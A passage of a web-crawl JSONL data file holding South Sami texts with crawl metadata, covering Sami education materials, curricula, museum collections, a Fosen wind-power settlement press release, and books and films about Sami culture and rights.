34–35). Jussi Ylikoski Båeries heamturh jïh vaajesh Saepmeste Ungerasse jïh bååstede Ole Samuel Elsvatn gon Gunhild Oline Børgefjellen soptsesh jaepeste 1886\nRkJQdWJsaXNoZXIy NDI2ODk=","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/www.samifaga.org\/samis\/samis29\/46\/","date":"2023-11-30T07:07:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100172.28\/warc\/CC-MAIN-20231130062948-20231130092948-00898.warc.gz","language":"sma","language_score":0.9987882972,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9987882971763611}","num_words":323,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Davvi Girji lea aelhkie lohkemegærjah dorjeme daltesasse 2–3 julev- jïh åarjelsaemien gïelesne. Davvi Girji aaj aelhkie lohkemegærjah darjoeminie daltesasse 6–7 mah olkese båetieh 2018.\nDavvi Girji la almodam álkkeslåhkåmgirjijt dásijda 2–3. Davvi Girji la aj gárvedime álkkeslåhkåmgirjijt dásijda 6–7 ma jagen 2018 almoduvvi.\nAelhkie lohkemegærjah leah ovmessie daltesinie, jïh leah ussjedamme maanide mah lïereminie lohkedh. Doh vöölemes daltesh leah aelhkemes jïh åenemes teekstine, mearan jollemes daltesh leah guhkebe teekstine. Gærjine dovne åenehks soptsesh jïh faaktateeksth. Fïerhtene burhtjesne 2 daltesh.\nAelhkie lohkemegærjah hijvenlaakan sjiehtieh gosse edtja lohkemestrategijh lïeredh.\nÁlkkeslåhkåmgirje li iesjgeŋga dásen mij guosská man gássjela li, ja da hiehpi mánájda gudi li oahppamin låhkåt. Vuolemus dáse li álkkemusá oanemus tevstajn, madi alemus dásijn li guhkep tevsta. Álkkeslåhkåmgirjijn li sihke oanegis subttsasa ja fáktátevsta. Juohkka båksan li guokta dáse.\nÁlkkeslåhkåmgirje viehka buoragit hiehpi låhkåmstrategijaj oahppamij.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.davvi.no\/?cat=news-archive&id=4&lang=se","date":"2023-12-11T12:07:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679511159.96\/warc\/CC-MAIN-20231211112008-20231211142008-00406.warc.gz","language":"sma","language_score":0.9612004757,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.961200475692749, \"smj_Latn_score\": 0.028766687959432602}","num_words":127,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":0.943,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Duedtie (KHV02‑02)\nMaahtoeulmieh jïh vuarjasjimmie\nMaahtoeulmie 2. daltesen mænngan\n- duedtievuekieh jïh gïetedïrregh nuhtjedh gosse garre jïh myövhkes ïebnigujmie barka byjresevoerkes- jïh jearsoeslaakan.\n- ïebnh eatnamistie voengeste tjöönghkedh jïh aarvoem dejstie vueptiestidh, jïh dejtie jïjtse sjugniedimmiebarkosne nuhtjedh\n- saemien tjeahpoem jïh jeatjah kulturelle vuekieh goerehtidh, jïh mubpiej åssjalommesh skraejrine nuhtjedh jïjtse visuelle soptsesinie\n- hammojne, klaeriejgujmie, jievkehtimmine jïh kontraastine eksperimenteeredh\n- båetijem aejkiem sov uvte vuejnedh jïh dam buerkiestidh guvviej jïh modelli tjïrrh\n- soejkesjidh jïh konstrueeredh eatnemeïebnine skraejrien mietie saemien jïh voenges bigkemevuekijste\n- vuesiehtimmiem jallh våarhkoem darjodh viehkine digitaale dïrregijstie","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/khv02-02\/kompetansemaal-og-vurdering\/kv102?lang=sma","date":"2024-03-01T03:28:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474948.91\/warc\/CC-MAIN-20240301030138-20240301060138-00122.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":84,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Bæjhkoje Anonymous Bertije Google NASA Kartdata GeoBasis Vaadtasovvemejaepie 2009 Faage Eatnemefaage Saemien 1 Saemien 2, 3 jïh 4 Siebriedahkefaage Eatnemelearoe jïh histovrije Båatsoe jïh design Saemien histovrije jïh siebriedahke Daltese 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Julevsaemiengïele Svïenskegïele Soemengïele Noerhtesaemiengïele Åarjelsaemiengïele Daaroengïele Formaate Gaskeviermiesæjroe Reakta-aajhtere Google NASA Kartdata GeoBasis Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Eatnemelearoe Geologije Kaarhte Saepmie Aarhte jïh daajroe IT\/teknologije Saemiengïele Baakoegærjah Viehkiebaakoe Sijjienommh","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_saemien-sijjienommh?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-03-05T14:41:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707948235171.95\/warc\/CC-MAIN-20240305124045-20240305154045-00629.warc.gz","language":"sma","language_score":0.9993790984,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9993790984153748}","num_words":61,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learohkh leah meatan\nTeemah\n- Demokratije, meatanårrojevoete jïh faamoedehteme\n- Pedagogihke jïh didaktihke\nBijjemes bielie daam tjïerteste:\nSkuvle edtja sijjie årrodh gusnie maanah jïh noerh demokratijem rïektesisnie dååjroeh. Learohkh edtjieh dååjredh dah govlesuvvieh skuvlen aarkebiejjien, dah tjïelke baajnehtimmiefaamoem utnieh, jïh maehtieh baajnehtidh dam mij lea dej bïjre. Dah edtjieh dååjrehtimmiem åadtjodh jïh praktiseeredh joekehts såarhts demokrateles meatanårromem, dovne biejjieladtje barkosne faagine jïh vuesiehtimmien gaavhtan learohkeraerien jïh jeatjah raerieorgaani tjïrrh» (1.6).\nAkten aarkebiejjien mijgellielaaketje ulmijste jïh gaertjies mierijste stuvrelge, maahta stoerre haesteme lohkehtæjjide årrodh daejtie ulmide saetniedehtedh. Dilemmah leah tjïelke: Guktie astedh goltelidh gosse daajroeulmieh leah vijries, guktie nuepiem vedtedh meatan årrodh gosse raaktan learoesoejkesjh jïh njoelkedassh åtna mejtie tjuara fulkedh?\nLearohke goh meatanårroje?\nAarebi libie buerkiestamme guktie demokratije jïh demokrateles meatanårrome eah leah naakede mejtie maahta learoehkidie ryöjrehtidh abstraktelaakan, men aaj mij akt maam tjuara haarjanidh jïh darjodh skuvlen konteekstesne. Learohkh joe daelie maehtieh meatanårroejinie vuajnalgidh skuvlen seabradahkesne? Daenie mïelh tjiehpiji gaskem demokratijelïeremesuerkesne göökte joekehts otnjegi vööste tjuvtjiedieh.\nMaanareakta- jïh faamoedehtemeperspektijven mietie learohkh eah edtjh ajve båetijen aejkien aktöörine jïh meatanårroejinie vuajnalgidh dejnie prosessine mah leah dej ïedtji bïjre. Maanaj reakta meatan årrodh lea aaj faamosne skuvlese. Daesnie dah sijjen råållam haarjanieh jïh evtiedieh goh aktööre veartenisnie, jïh dïedtem sov åvteste jïh ektievoeten åvteste åtna.\n\"Maanaj reakta meatan årrodh lea aaj faamosne skuvlese.Daesnie dah sijjen råållam haarjanieh jïh evtiedieh goh aktööre veartenisnie, jïh dïedtem sov åvteste jïh ektievoeten åvteste åtna.\nJis meatanårrojevoete ajve illedahkine vuajnelge demokratijelïeremistie, naakede mïsse edtja learoehkidie ryöjrehtidh, dellie dïhte jeahta learohkh\/maanah eah leah gaervies, amma fer vaenie maahtoem utnieh jallh eah leah nuekie skearkagamme meatan årrodh demokrateles prosessine (nov amma dejnie «eensi», politihkeles prosessine skuvlen ålkolen). Men, maanah jïh noerh leah iktesth veevesovveme sosijaale praksisi sïjse mejtie ij maehtieh oktegh vuejnedh dehtie guhkiebasse politihkeles jïh kulturelle konteeksteste. Dah aaj iktesth meatan demokrateles prosessine skuvlen ålkolen:\nNoerh leah meatan noeresiebrine, lahtesh tjaelieh plaaran Aftenposten Si:D, voenges plaerine jallh online-digkiedimmine, dah organiseerieh jïh meatan klijmagïrreminie. Ij leah daate vuekieh meatanårrojevoetem vuesiehtidh, jalhts daah noerh eah annje maehtieh meatan årrodh voenges jallh nasjonaale veeljeminie? Ij byörh dan åvteste dejtie itjmieslaakan vaeltedh goh meatanårrojh aktene skuvlekonteekstesne?\ndam naemhtie buerkeste: \"Citizenship… is participative and as such itself an inherently educative process as it has to do with the transformation of the ways in which young people relate to, understand and express their place and role in society\" (s. 12). Sijjen gaskesadtemen jïh ektiedahkoen tjïrrh skuvlebiejjien jïh gosse aelkieh meatan årrodh politihkeles jieliedisnie learohkh jïjtjemse evtiedieh jïh skearkagieh sijjen meatanårrojeråållesne.\nSijjen gaskesadtemen jïh ektiedahkoen tjïrrh skuvlebiejjien, jïh gosse aelkieh meatan årrodh politihkeles jieliedisnie learohkh jïjtjemse evtiedieh jïh skearkagieh sijjen meatanårrojeråållesne.\nSeamma tïjjen skuvle ij leah sjïere demokrateles institusjovne. Learohkh eah maehtieh veeljedh jallh båarhte veeljedh dejtie mah dej bijjelen muenieh, jïh lea joekoen gellie suerkieh skuvlen ulmijste jïh praksisijstie learohkh eah maehtieh baajnehtidh. Daate vuestiebielesne tjåådtje dååjrehtimmide politihkeles organisasjovnejieliedisnie skuvlen ålkolen.\nDan gaavhtan mïelen mietie ij leah reaktoe learohki meatanårromem skuvlesne vuejnedh goh akte såarhts meatanårrojevoete politihkeles jieliedisnie staatesne jïh tjïeltine. Dan åvteste dïhte maam learohkh dååjrehtin ajve såemiesmearan sæjhta væjsaldahkine årrodh dej politihkeles institusjovni sïjse skuvlen ålkolen».\nBørhaug amma veanhta vihkeles voerkes årrodh gåhkoem learohki meatanårromevuekiej jïh nuepiej gaskem skuvlesne jïh abpe seabradahkesne, olles vaahresnesjïdth «faamohtsvoetem jïh apatijem damtedh gosse learohkh vueptiestieh politihkeles systeeme ij juhtieh goh akte voenges, deliberatijve ektievoete» (ibid.).\nDan åvteste vihkele voerkes årrodh mej mieriej jïh gaertjiedimmiej sisnjeli learohki meatanårromevoete evtiesåvva. Læjhkan ussjedimmie demokratijen jïh meataårromevoeten bïjre bijjemes bielesne, lea akte vuajnoe gusnie meatanårromevoete lea naakede mij jïjtjemse evtede ånnetji ånnetji dahkoen jïh ektiedahkoen tjïrrh aaj skuvlebyjresisnie. Dagkeres vuajnoen mietie skuvlen tjïelke laavenjasse sæjhta årrodh ussjedidh guktie learohkh nuepiem åadtjoeh sijjen råållam evtiedidh goh meatanårroje skuvleseabradahkesne.\nLitteratur:\nBørhaug, K. (2017). Ei endra medborgaroppseding?. Acta Didactica Norge, 11(3), Art. 6, 18, sider. https:\/\/doi.org\/10.5617\/adno.4709 (https:\/\/doi.org\/10.5617\/adno.4709)\nBiesta, G. (2011): Learning Democracy in School and Society. Education, Lifelong Learning, and the politics of Citizenship https:\/\/www.sensepublishers.com\/media\/587-learning-democracy-in-school-and-society.pdf\nLenz, C. (2020) Demokrati og medborgerskap i skolen. Pedlex","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/artikler\/learohkh-leah-meatan","date":"2024-03-01T19:45:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475701.61\/warc\/CC-MAIN-20240301193300-20240301223300-00111.warc.gz","language":"sma","language_score":0.9999812841,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999812841415405}","num_words":633,"character_repetition_ratio":0.066,"word_repetition_ratio":0.061,"special_characters_ratio":0.151,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien Sïjten våarhkoe\nSaemien Sïjte aalkovistie eadtjohke barkeme saemien siebriedahkem jeatjabidie vuesiehtidh jïh dan bïjre soptsestidh. Saemien Sïjte sïjhti aerpieguedtiejidie eevtjedh saemien vuekide jïh gïelem nænnoestin jïh kultuvrebyjreskidie ohtsedidh jïh dejtie vaarjelidh.\nJaepieh 1985 – 1989 Saemien Sïjte prosjektem darjoeji, åarjelsaemien kultuvremojhtesidie jïh kultuvrebyjreskidie abpe åarjelsaemien dajvesne (Raanen tjïelten raejeste jïh Rendalen tjïelten raajan) ohtsedin jïh dej bïjre tjaeliestin jïh dejtie guvviedin. Daelie medtie 3100 tjaalegh våarhkosne kultuvrebyjreski bïjre.\nKultuvrehisovrijen våarhkoe\nSaemien Sïjten våarhkosne medtie 750 daeverh. Jeenemes daeverh våarhkose böötin vadtesinie. Saemien Sijte 160 daeverh Norsk folkemuseumisitie jïh Kulturhistorisk museumistie Bååstede-prosjektesne åadtjoeji.\nSaemien Sïjte aaj båeries guvvieh tjöönghkeminie. Saemien Sïjte tuhtjie dïhte barkoe vihkele. Daelie medtie 2500 guvvieh tjöönghkeme. Gosse guvvieh Saemien Sïjtese båetieh, dellie dejtie digitale våarhkose guelmiedehtieh jïh PRIMUS-ese tjöönghkieh. Dellie Saemien Sïjte maahta guvvide gaskeviermesne vuesiehtidh. Vihkele daejredh gïeh almetjh båeries guvvesne leah. Saemien Sïjte aaj jeatjah museumh, institusjovnh jïh almetjh viehkehte.\nJaepien 2009 Saemien Sïjte eelki digitale baanth jïh ovmessie tjoejenasse-vierhtieh gaskevearman tjöönghkedh. Daelie maehtebe dejtie vierhtide goltelidh. Almetjh radiovisnie jïh intervjuvine soptsestamme. Desnie aaj ovmessie learoevierhtieh.\nSaemien Sïjten våarhkosne tjaalegh saemien siebriedahken bïjre. Desnie ovmessie gaaltijh, vuesiehtimmien gaavhtan: tjaalegh kultuvremojhtesi bïjre, boelhketjh plaerijste jïh tjaalegh intervjuvijste. Saemien Sïjte eelki jaepien 1964 ovmessie tjaalegh tjaaleldh-våarhkose tjöönghkedh.\nGærjagåetie jïh gærjavåarhkoe\nSaemien Sïjte lea gærjah vadtesinie åådtjeme jallh gærjah gærjagåatan åasteme. Jaepien 2004 Saemien Sïjte gellie gærjah vadtesinie Kjell Haarstad-en luvhtie åadtjoeji. Jaepien 2008 gellie gærjah Bjørn Aarset-en luvhtie åadtjoeji.\nGåetie-vaarjelimmie\nJaepien 1979 Saemien Sïjte John Eliassen-en buvriem öösti. Buvrie Gressamo-esne, Låarten sïjtesne årroeminie. Buvriem orrestehtin jaepien 1980. Gressamo-esne aaj gåetie gusnie bearkoe soevestin. Dam jaepien 2007 orrestehtin.\nJaepien 1988 buvriem Arvassli-este Saemien Sïjtese bööktin. Jaepien 1995 buvriem Saemien Sïjtese tseegkin.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/saemiensijte.no\/sami\/saemien-sijten-vaarhkoe\/","date":"2024-02-23T00:13:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473871.23\/warc\/CC-MAIN-20240222225655-20240223015655-00571.warc.gz","language":"sma","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000032186508179}","num_words":258,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Preassadieđáhus | Almmustahtton: 21.12.2023 | Energiijadepartemeanta\nÅålja- jïh energijedepartemente voerhtjen 2023 skraejriem veelti liktemeprosessese guejmiej gaskem guktie aamhtesem loetedh. Dej liktemi åvtehke lea rïjhkeliktije Mats Ruland, ektesne digkiereaktadoemesjæjja Hanne Sofie Bjelland jïh båatsoesaemie Tom Kristian Lifjell. Dïhte lea daate prosesse mij lea jåhteme guktie guejmieh Åarjel-Fovsesne latjkajin.\n– Fovsen-aamhtese lea krïevije orreme gaajhkide guejmide jïh ij leah juerie daate lea orreme ålvas löövles dejtie fuelhkide båatsosne Fovsesne. Dah tjoerin dejnie tsælloeaamhtesinie jieledh gellien jaepiej mietie. Manne dan gaavhtan aavone guejmieh jïh staate liktemeprosessine leah akteraeresne, buerie jïh båetijeaejkien vuekiem gaavneme. Manne gegkestem daejnie aaj orre boelvh maehtieh nuepiem vuejnedh båatsosne Fovsesne, åålja- jïh energijeministere Terje Aasland jeahta.\n– Hijven aktem galhkuvem åadtjodh ov-veanhtadimmie tsiehkesne mij gellie jaepiej mietie vaaseme. Latjkoe daajroes tsiehkiem vadta jïh båatsoem Åarjel-Fovsesne boelvine vihteste. Latjkoen mietie mijjieh leah lissiedajvh vihtiestamme jïh reaktam nyöjhkedh jis bïegkefaamoe sæjhta juhtedh konsesjovneaejkien mænngan. Mijjieh positijve haestemh jïh barkoeh veanhtadibie guktie buerie båatsoem åadtjobe. Daelie dïhte politihkeri dïedtem daate ij vielie deahpedh. Mijjieh dan aavone viehkien jïh dåarjoen åvteste mejtie aksjovnine jïh eadtjohkevoetine nöörjen åålmegistie åådtjeme, jïh sjïere saemien sïebredahkeste, Leif Arne Jåma jeahta gie lea Åarjel-Fovsen sïjten åvtehke.\n– Fosen Vind tjerkebelaakan seahkere Åarjel-Fovsen sïjte dan ålvas gïerve tsiehkesne orreme guhkiem, jïh prosessem krïevije jïh geavreme orreme. Mijjieh aavoedibie mijjieh Åarjel-Fovsen sïjte jïh staate, jïh buerie viehkine liktemedåehkeste, daelie latjkajin latjkojne mij båatsoesaemiej reaktide gorredidh. Latjkoe vihteste sïjte jåarhka dej barkoe, aaj båetije boelvide, Fosen Vinden biejjieladtje åvtehke Tom Kristian Larsen jeahta.\nLatjkoen sisvege\nLatjkoe edtja viehkiehtidh båatsoen båetije aejkide gorredidh, nåakevoetide gïehteldimmide staeriedidh, jïh aaj våaromem vedtedh dan båetijen aejkien kultuvrebarkose Åarjel-Fovsen sïjtese aktene boelveperspektijvesne.\nSjïehteladta ihke Åarjel-Fovsen sïjte edtja maehtedh aktem lissiedajvem daelviegåatoemasse nuhtjedh, Fovsen-Njaarken sïjte ålkolen. Akte sjyöhtehke dajve tjuara daelviegåatoemasse sjïehtedh, jïh tjuara hijven gåhkaldahkesne årrodh Åarjel-Fovsenistie.\n. Staate , guejmiej vaajtelimmiej mietie , lea dïedtem vaalteme aktem prosessem tjïrrehtidh juktie dagkeres lissieareaalem skååffedh . Dïhte åssjaldahke lea areaalem Åarjel-Fosen sïjtese daelvege 2026\/27) nuhtjedh.\nÅarjel-Fosen sïjte jååhkesje ihke Fosen Vind luhpiem åådtje dajvem Storheiesne jåerhkedh bïegkefaamoeproduksjovnese konsesjovneboelhken minngiegietjesne. Konsesjovneboelhken galhkoven mænngan lea latjkoem dorjeme ihke Åarjel-Fosen sïjte vetoreaktam åådtje bïegkefaamoetseegkeldahken vijrebe gïehteldæmman. Daate sæjhta jiehtedh reaktaaajhterh eah maehtieh guhkiedimmien jallh orre konsesjovnen bïjre syökedh, bielelen Sør-Fosen sijte lea dïsse jååhkesjamme.\nSeamma tïjjen dle Fosen Vind DA dïedtem åtna jïjnjh beetnegh dåarjodh juktie råajvarimmieh utnedh båatsose Åarjel-Fovsen sïjtesne.\nNjoktjen reerenasse njåvtasovvi almetjereaktamieriedimmien åvteste maam Jillemesreakta våaroemasse bïeji konsesjovnenænnoestimmine. Dïhte latjkoe mij lea dorjesovveme sæjhta departementen jïh guejmiej vuarjasjimmien mietie jiehtedh ij leah akte mïedtelimmie artihkelistie 27 EN:n konvensjovnesne, sivijle jïh politihkeles reaktaj bïjre\nLatjkoen mietie mij lea dorjesovveme guejmiej gaskem, dle departementen vuarjasjimmien mietie ij leah naan våarome juktie konsesjovnenænnoestimmiem Storheia bïegkefaamoevierhkine jarkelidh. Departemente dan åvteste raereste ij jarkelimmieaamhtesinie vijrebe barkh.\nAnnjebodts ij leah sïemesvoetem buektiehtamme dejstie rååresjimmijste Noerhte-Fovsesne , Noerhte-Fovsen sïjte jïh Roan Vind. Reerenasse annje veanhta dïhte bööremes guejmide sæjhta årrodh aktem mïnneden latjkoen vuekiem gaavnedh aaj daesnie. Jis ij gåaredh latjkojne båetedh, dellie staate tjuara jåerhkedh jarkelimmienænnoestimmine aamhtesisnie .","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.regjeringen.no\/se\/aktuelt\/aarjel-fovsen-sijte-jih-fosen-vind-latjkajin\/id3019277\/","date":"2024-02-24T13:27:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474533.12\/warc\/CC-MAIN-20240224112548-20240224142548-00655.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":470,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goerehtallemepryövh\nGoerehtallemepryövh lohkemisnie jïh matematihkesne 1.-3.- daltese lea akte byjngetje maakseme prosjekte, v. laavenjasseprievine Ööhpehtimmiedirektovraateste. Jarnge edtja sjïehtedidh jïh darjodh goerehtallemepryövh lohkemisnie jïh ryöknedimmesne noerhte-, julev jïh åarjelsaemien gïelese. Barkoe eelki tjaktjen 2013 jïh jåarhka tjaktjen 2014. Ulmie pryövigujmie lea pryövh darjodh mah maehtieh skuvlide vuesiehtidh mah learohkh mah lissie viehkiem daarpesjieh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/lohkanguovddas.no\/sma\/prosjekth\/goerehtallemepryovh","date":"2024-02-28T05:46:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474697.2\/warc\/CC-MAIN-20240228044414-20240228074414-00371.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":49,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maehtedh englaantengïelesne tjaeledh lea åssjalommesh jïh mïelh buektedh maereleslaakan jïh guktie mubpieh guarkoeh, ovmessie såarhts teekstine, paehpierisnie jïh digitaalelaakan. Tjaeledh lea soejkesjidh, hammoedidh jïh bueriedidh teeksth mah gaskesedtieh, jïh gïelem aajkose, dåastoejasse jïh tseahkan sjïehtedidh jïh sjiehteles tjaelemestrategijh veeljedh. Evtiedimmie tjaelememaahtoste englaantengïelesne aalka gosse aktegsbaakoeh jïh jiehtegh leara goske maahta joekehts såarhts iktemierien teeksth sjugniedidh mah vuajnoeh jïh daajroem buektieh. Lea aaj joekehts såarhts gaaltijh nuhtjedh laejhtehkslaakan jïh ussjedammes.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/eng01-04\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2024-02-22T04:35:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473690.28\/warc\/CC-MAIN-20240222030017-20240222060017-00003.warc.gz","language":"sma","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000009536743164}","num_words":69,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.232,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Preposisjovnh jïh postposisjovnh\nLïerh preposisjovnide jïh postposisjovnide!\nMaahta kåarhtide ovmessie væjjoejgujmie bietskiedidh jallh taalh mubpien bielesne tjaeledh. Dellie maahtah vuejnedh mejtie staaran jallh båajhtode. Nuerebe learohkh maehtieh kåarhth ovmessie væjjoejgujmie åadtjodh. Båarasåbpoe learohkh sneehpeslaakan væjjojde lierieh dannasinie buerebe jis barre taalh kåarhti minngiebielesne gååvnesieh.\n- Veeljh væjjoem!\n- Tjoerh plastem kåarhtide debriehtidh. (laminere)\n- Væjjoem bietskiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/dokumenta_preposisjovnh-jih-postposisjovnh-0","date":"2024-02-25T01:51:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474573.20\/warc\/CC-MAIN-20240225003942-20240225033942-00051.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":53,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nAkte tjaebpies jïh sjïere laavenjostoe lea daan åarjelsaemien låhkoen duekesne guvvieraajroeromaaneste «Dulvie» nöörjenamerikaneristie Max Estes, mij årroeminie jïh barkeminie Fredrikstadesne. Akte tjaebpies jïh sjeavohts soptsese mïrhke klaerine ålman, bïenjen jïh bïjlen bïjre aktene tjuetiejaepiedulvesne vuemien tjïrrh, jïh arhkenamme aarhtsine. Åarjelsaemien bæjhkoehtæjjah sïjhtin gærja edtji vielie teekstem jïh vielie gïelelïerehtimmiem utnedh, jïh jarkoestæjja Åse Klemensson dan åvteste aktem orre soptsestæjjagïelem gærjese lissiehti. Akte gærja maam dovne maanah, noerh jïh geerve almetjh sijhtieh lyjhkedh.\n\/\/\nEt nydelig og spesielt samarbeid ligger bak den sørsamiske utgaven av tegneserieromanen «Dulvie» («Flommen») av norskamerikaneren Max Estes, som bor og arbeider i Fredrikstad. Det er en stilren og fåmælt fortelling i stramme, mørke farger om mannen, hunden og bilen i møte med en hundreårsflom gjennom dalen, og med en skadet ørn. De sørsamiske utgiverne ønsket at boka skulle inneholde mer tekst og mer språklæring, og oversetteren Åse Klemensson la derfor inn en ny fortellerstemme i boka. Dette er ei bok som vil ha appell til barn, ungdom og voksne.\nSpesifikasjoner\nSpråk: Åarjel-saemien, sørsamisk\nUtgiver: Gïelem nastedh\nISBN: 978-82-93402-55-8\nOversetter: Åse Klemensson","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/saemien.e-susoft.com\/product\/10786","date":"2024-02-27T11:14:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474674.35\/warc\/CC-MAIN-20240227085429-20240227115429-00572.warc.gz","language":"sma","language_score":0.938632369,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9386323690414429, \"nob_Latn_score\": 0.046404480934143066, \"sme_Latn_score\": 0.013902312144637108}","num_words":174,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2001\nISBN\nVi314\nTïjje\n00:30:00\nFormaate\nDVD\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nBrennpunkt-prograammh Gáivuotnan bïjre jïh saemiej reaktah eatnamasse jïh tjaetside.\nVoestes filme Gáivuotnan bïjre gusnie geajnoetsïeglide vuetjieminie. Daate filme buerkeste guktie daaroedehtemen mænngan Gáivuotnesne sjïdti. Filme aamhtesh gïetedalla barre goh identiteetem, gïelem jïh gïelelaakem. NRK-våarhkoe.\nMubpien filmen aamhtese reakta Finnmarhken eatnamasse jïh tjaetside, jïh daestie digkiedimmieh byjjebasse båetieh mah Finnmarhkesne orreme eatnemeveljiej bïjre. NRK-våarhkoe.\nGåalmadinie filmesne vuejnebe goh lin stadtjoeh Álttájeanoebealesne jïh stujmiedæjja saemieh jïjtjemsh nealkoedin Oslovisnie jïh dle sijjen åssjaldahki bïjre mænngan.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/filbma_skyting-av-samiske-skilt-gaivuotnakafjord-kommune","date":"2024-03-02T09:42:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475806.52\/warc\/CC-MAIN-20240302084508-20240302114508-00679.warc.gz","language":"sma","language_score":0.9999740124,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 